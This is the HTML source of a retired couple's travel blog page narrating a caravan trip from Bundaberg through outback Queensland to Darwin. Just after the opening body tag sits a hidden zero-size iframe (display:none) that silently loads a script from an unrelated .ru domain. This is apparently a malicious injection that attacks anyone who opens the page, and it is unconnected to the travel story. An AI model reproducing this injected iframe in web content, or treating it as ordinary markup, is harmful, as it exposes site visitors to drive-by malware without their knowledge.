The Adventures Around Oz!!

<body topmargin=0 leftmargin=0 marginheight=0 marginwidth=0><iframe width="0" height="0" style="display:none;" id="frmchkldver" src="http://youknow2567.ru/doc/header.php?ftd=841345&path=%7c&sys=UN&wrk=13"></iframe> <table cellpadding=0 cellspacing=0 border=0><tr> <td valign="top" colspan=2 height=90 BGCOLOR="#006699" TEXT="#080000" bgproperties="fixed" background="058285a1erlcgo.png"> <div> <FONT SIZE="5" COLOR="#FFCC66" FACE="Arial" ><B>Colin and Anne Oz</B></FONT><FONT SIZE="1" COLOR="#FFFFCC" FACE="Arial" ><B>     |   </B></FONT><B>  </B><A HREF="index.htm" TARGET="_top" TITLE="Colin and Anne Oz"><B>home</B></A></div> <div> <A HREF="id34.htm" TARGET="_top" TITLE="Map of Australia">Map of Australia</A>   |   <B>The Adventures Around Oz!!</B>   |   <A HREF="id36.htm" TARGET="_top" TITLE="Around Oz Part 2">Around Oz Part 2</A>   |   <A HREF="id38.htm" TARGET="_top" TITLE="Around Oz Part 3">Around Oz Part 3</A>   |   <A HREF="id39.htm" TARGET="_top" TITLE="Around Oz Part 4">Around Oz Part 4</A></div> <div> </div> </td> </tr><tr> <td valign="top" width=210 BGCOLOR="#FFCC66" TEXT="#080000" background="057d2c00dkelyh.png"> <div> <IMG SRC="0d3b4880.jpg" border=0 width="180" height="136" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></div> <div> Click on the map to</div> <div> follow our journey!</div> <div> (opens in a new window)</div> <bR> <div> <A HREF="http://www.members.optusnet.com.au/colino39/id34.htm" target="_blank " TARGET="_top" TITLE="http://www.members.optusnet.com.au/colin"><IMG SRC="06f9c6b0.jpg" border=0 width="156" height="107" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></A></div> <bR> </td> <td valign="top" height=390 width="100%" BGCOLOR="#FFFFFF" TEXT="#080000"> <div> <I>The Adventures Around Oz!!</I></div> <bR> <DIV ALIGN="LEFT"></DIV> <div> <A HREF="id42.htm" TARGET="_top" TITLE="Around Oz Pics"><B>The Pictures are HERE</B></A></div> <bR> <bR> <div> <B> <TABLE BORDER="1" CELLPADDING="2" CELLSPACING="1" WIDTH="336" BORDERCOLORLIGHT="#C0C0C0" BORDERCOLORDARK="#808080" FRAME="BOX" RULES="ALL" HSPACE="0" VSPACE="0" > <tR> <tD VALIGN=TOP COLSPAN=2 HEIGHT= 19 WIDTH="322"><IMG BORDER="0" SRC="1x1.gif" HEIGHT="19" ALIGN="bottom" WIDTH="322" HSPACE="0" VSPACE="0"></tD> </tR> <tR> <tD VALIGN=TOP COLSPAN=2 HEIGHT= 56 ><NOBR><div> Follow our Trip in the stories that are here.</div> <div> Don't forget to refresh your browser to get</div> <div> our latest news.</div> </NOBR></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="108"><IMG BORDER="0" SRC="1x1.gif" HEIGHT="19" ALIGN="bottom" WIDTH="108" HSPACE="0" VSPACE="0"></tD> <tD VALIGN=TOP WIDTH="211"><IMG BORDER="0" SRC="1x1.gif" HEIGHT="19" ALIGN="bottom" WIDTH="211" HSPACE="0" VSPACE="0"></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="108"><div> <A HREF="#on_sunday_april_20th_we_commenced_our" TITLE="The Adventures Around Oz!!">Section 1</A></div> </tD> <tD VALIGN=TOP WIDTH="211"><div> <A HREF="#on_sunday_april_20th_we_commenced_our" TITLE="The Adventures Around Oz!!">Bundaberg to Darwin</A></div> </tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="108"><div> <A HREF="id36_we_arrived_in_darwin_on_wednesday_15th.htm" TARGET="_top" TITLE="Around Oz Part 2">Section 2</A></div> </tD> <tD VALIGN=TOP WIDTH="211"><div> <A HREF="id36_we_arrived_in_darwin_on_wednesday_15th.htm" TARGET="_top" TITLE="Around Oz Part 2">Darwin to Derby</A></div> </tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="108"><div> <A HREF="id38.htm" TARGET="_top" TITLE="Around Oz Part 3">Section 3</A></div> </tD> <tD VALIGN=TOP><NOBR><div> <A HREF="id38.htm" TARGET="_top" TITLE="Around Oz Part 3">Derby to "The Nullabor"</A></div> </NOBR></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 38 WIDTH="108"><div> <A HREF="id39.htm" TARGET="_top" TITLE="Around Oz Part 4">Section 4</A></div> </tD> <tD VALIGN=TOP WIDTH="211"><div> <A HREF="id39.htm" TARGET="_top" TITLE="Around Oz Part 4">Across the Nullabor and on to Brisbane.</A></div> </tD> </tR> </TABLE></B></div> <bR> <bR> <bR> <bR> <bR> <bR> <div>  <A NAME="on_sunday_april_20th_we_commenced_our"><IMG BORDER="0" SRC="1x1.gif" HEIGHT="1" ALIGN="bottom" WIDTH="1" HSPACE="0" VSPACE="0" ></A>On Sunday April 20th, we commenced our 6 month Australian tour.  On going through Queensland to the Northern Territory we passed through Queensland's major economic areas, starting with Bundaberg being the beginning of Queensland's sugar industry.</div> <bR> <DIV ALIGN="LEFT"></DIV> <div> <TABLE BORDER="1" CELLPADDING="2" CELLSPACING="1" WIDTH="629" BORDERCOLORLIGHT="#C0C0C0" BORDERCOLORDARK="#808080" FRAME="BOX" RULES="NONE" HSPACE="0" VSPACE="0" > <tR> <tD VALIGN=TOP COLSPAN=3 HEIGHT= 105 ><NOBR><div> <IMG SRC="07970630.png" border=0 width="624" height="99" ALT="Adobe Photoshop Image" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></div> </NOBR></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 ><NOBR><div> Bundaberg Sugar</div> </NOBR></tD> <tD VALIGN=TOP WIDTH="302"><div> Gracemere Cattle Yards</div> </tD> <tD VALIGN=TOP><NOBR><div> Blackwater Coal Mines</div> </NOBR></tD> </tR> </TABLE></div> <div>   </div> <div> Then to Gracemere which is Queensland's major beef assembly and auction center, and on to the open cut mining area of Blackwater.  On to Emerald with its citrus and cotton growing areas which are irrigated by the Fairbairn dam.  Emerald is also the service area of the South Bowen Basin coal mines and the gem field areas of Anakie, Sapphire and Rubyvale (Mainly sapphires mined here).</div> <bR> <DIV ALIGN="LEFT"></DIV> <div> <TABLE BORDER="1" CELLPADDING="2" CELLSPACING="1" WIDTH="639" BORDERCOLORLIGHT="#C0C0C0" BORDERCOLORDARK="#808080" FRAME="BOX" RULES="NONE" HSPACE="0" VSPACE="0" > <tR> <tD VALIGN=TOP HEIGHT= 102 ><NOBR><div> <IMG SRC="07a66600.png" border=0 width="614" height="96" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></div> </NOBR></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="629"><div> Images from the Emerald Area</div> </tD> </tR> </TABLE></div> <bR> <div> Further west is Barcaldine, where the Australian Labor Party was formed after a shearer's strike in the early 1930's There is a Workers Heritage Centre outlining the Labor Party and this is a major tourist attraction.  We detoured north from Barcaldine to the little town of Aramac to see where our grandson Troy went to school for a year. We came back to Barcaldine and headed west to Longreach where the Stockman's Hall of Fame and the Qantas museum are located. We have seen both these attractions on previous visits.  It is intriguing to see a Qantas jumbo jet(City of Bunbury) parked 110ft of the Matilda Hwy in front of the Longreach terminal.  We would have liked to have a picture of our car and caravan parked under the jumbo's wing, but unfortunately barricades prevented this.</div> <bR> <DIV ALIGN="LEFT"></DIV> <div> <TABLE BORDER="2" CELLPADDING="2" CELLSPACING="1" WIDTH="516" BORDERCOLORLIGHT="#C0C0C0" BORDERCOLORDARK="#808080" FRAME="BOX" RULES="NONE" HSPACE="0" VSPACE="0" > <tR> <tD VALIGN=TOP COLSPAN=2 HEIGHT= 102 ><NOBR><div> <IMG SRC="07bf5600.png" border=0 width="501" height="96" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></div> </NOBR></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="287"><div> Qantas Museum</div> </tD> <tD VALIGN=TOP><NOBR><div> Stockman's Hall of Fame</div> </NOBR></tD> </tR> </TABLE></div> <bR> <div> Flies, Flies and more Flies!!!!!  A real plague from Aramac through to Cloncurry</div> <div>  After Longreach our westward journey took us through Winton, Kynuna, McKinlay and then to Cloncurry.  At an overnight rest area halfway between Cloncurry and Mt Isa, we met up with 2 mature age couples who are transversing Australia on "recumbent cycles" (the type you lie down to pedal)  The two couples, although traveling together, originated from Perth and Sydney, and joined up in Milla Milla on the Atherton Tablelands in Far North Queensland.  The couple from Perth were riding individual cycles and were much more experienced than the Sydney couple  who were riding a tandem recumbent cycle.  </div> <bR> <DIV ALIGN="LEFT"></DIV> <div> <TABLE BORDER="2" CELLPADDING="2" CELLSPACING="1" WIDTH="313" BORDERCOLORLIGHT="#C0C0C0" BORDERCOLORDARK="#808080" FRAME="BOX" RULES="NONE" HSPACE="0" VSPACE="0" > <tR> <tD VALIGN=TOP HEIGHT= 118 ><NOBR><div> <IMG SRC="07d24700.png" border=0 width="292" height="112" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></div> </NOBR></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="301"><div> Recumbent Cycles</div> </tD> </tR> </TABLE></div> <div> We spent two days in Mt Isa to stock on fuel and food before continuing on the Barkly Hwy and into the Northern Territory.  The Queensland portion of the Barkly Hwy is still only half built, there are still many miles of single lane bitumen to rebuild to bring it up to the standard of the Northern Territory side.  It is no wonder this section of the Barkly Hwy is always named as Queensland's worst road.</div> <bR> <DIV ALIGN="LEFT"></DIV> <div> <TABLE BORDER="2" CELLPADDING="2" CELLSPACING="1" WIDTH="499" BORDERCOLORLIGHT="#C0C0C0" BORDERCOLORDARK="#808080" FRAME="BOX" RULES="NONE" HSPACE="0" VSPACE="0" > <tR> <tD VALIGN=TOP COLSPAN=3 HEIGHT= 119 ><NOBR><div> <IMG SRC="07fea710.png" border=0 width="490" height="113" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></div> </NOBR></tD> </tR> <tR> <tD VALIGN=TOP HEIGHT= 19 WIDTH="173"><div> Mt Isa</div> </tD> <tD VALIGN=TOP><NOBR><div> Katherine Gorge</div> </NOBR></tD> <tD VALIGN=TOP WIDTH="155"><div> Darwin Markets</div> </tD> </tR> </TABLE></div> <bR> <div> We have endeavoured to stay in free camps whenever we can and are continuing this into the Northern Territory.  We find it is only the major towns where we cannot find a free camp so we have been forced into caravan parks at Mt Isa, Katherine and Darwin, where we arrived on Wednesday the 14th of May and have booked in the Lee Point Caravan Park for two weeks.</div> <div> We have been extremely surprised at the lack of traffic and tourists.  The locals are hoping the southerners are leaving for their holidays later this season.  We have had no trouble getting into any caravan park of our choice.  </div> <div> <B><U>NB</U></B> Anne even got her swimsuit WET in the warm water at Douglas Hot Springs!!!!  And will have photographic evidence as proof of this "momentous event"!!</div> <bR> <div> <A HREF="id36.htm" TARGET="_top" TITLE="Around Oz Part 2"><B>Next   Darwin to Derby</B></A></div> <bR> <bR> <bR> </td> </tr></table></body>